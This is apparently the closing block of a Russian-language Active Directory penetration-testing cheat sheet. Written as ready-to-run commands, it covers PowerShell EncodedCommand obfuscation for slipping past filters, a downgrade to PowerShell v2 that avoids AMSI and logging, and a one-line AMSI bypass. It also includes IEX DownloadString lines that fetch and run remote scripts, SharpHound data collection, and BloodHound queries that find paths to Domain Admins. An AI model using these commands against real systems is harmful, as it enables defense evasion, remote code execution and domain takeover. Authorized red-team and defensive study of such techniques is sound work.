Encoded command (скрыть содержимое от простых фильтров) — `<BASE64>` это Base64(UTF-16LE) команды:
```powershell
powershell -EncodedCommand <BASE64>
```

Сгенерировать EncodedCommand из строки:
```powershell
$cmd = 'IEX (New-Object Net.WebClient).DownloadString("http://192.168.1.100/script.ps1")'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
```

Даунгрейд до v2 (нет AMSI, нет Script Block Logging):
```powershell
powershell -version 2 -Command "<CMD>"
```

Обход AMSI в текущей сессии (требует уже открытую PS-сессию):
```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

---

### Раздел 5. BloodHound — граф атак на AD

---

#### 22. Сбор данных через SharpHound

**Задача:** SharpHound собирает данные об объектах AD, ACL, GPO, сессиях и довериях в JSON-формат для загрузки в BloodHound. BloodHound строит граф и находит кратчайшие пути к DA. ⚠️

**CMD — формат:** базовый сбор / полный (все методы) / тихий с сохранением в папку:
```
.\SharpHound.exe --CollectionMethods Default
.\SharpHound.exe --CollectionMethods All
.\SharpHound.exe --CollectionMethods All --OutputDirectory <OUT> --ZipFilename results.zip --NoSaveCache
```

**CMD — пример:** полный сбор с сохранением в C:\Temp:
```
.\SharpHound.exe --CollectionMethods All --OutputDirectory C:\Temp --ZipFilename bh_results.zip
```

**PowerShell — формат:** через модуль BloodHound.ps1 (in-memory, не пишет на диск):
```powershell
IEX (New-Object Net.WebClient).DownloadString("http://192.168.1.100/SharpHound.ps1")
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp
```

**PowerShell — пример:**
```powershell
IEX (New-Object Net.WebClient).DownloadString("http://192.168.1.100/SharpHound.ps1")
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFilename bh.zip
```

*После сбора: файл `.zip` перенести на машину с BloodHound/neo4j, импортировать через GUI. Ключевые запросы: "Shortest Paths to Domain Admins", "Find All DA", "Machines where DA are logged in".*

---

#### 23. Ключевые Cypher-запросы для BloodHound

**Задача:** Найти пути к DA, ASREPRoastable и Kerberoastable аккаунты, небезопасные права — прямо через Raw Query в интерфейсе BloodHound.

Кратчайшие пути к Domain Admins от всех пользователей:
```cypher
MATCH p=shortestPath((u:User {enabled:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
```

Все Kerberoastable аккаунты с путём к DA:
```cypher
MATCH (u:User {hasspn:true}),(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}),
  p=shortestPath((u)-[*1..]->(g)) RETURN p
```

Объекты с GenericAll / WriteDACL на DA:
```cypher
MATCH p=(u)-[:GenericAll|WriteDACL|WriteOwner]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}) RETURN p
```

Машины с Unconstrained Delegation (кроме DC):
```cypher
MATCH (c:Computer {unconstraineddelegation:true, primarygroupid: 515}) RETURN c.name
```

*Запросы вставляются в поле Raw Query в BloodHound. `CORP.LOCAL` заменить на реальное имя домена в верхнем регистре.*

---

*Конец Блока 5. Все пять блоков шпаргалки сформированы.*
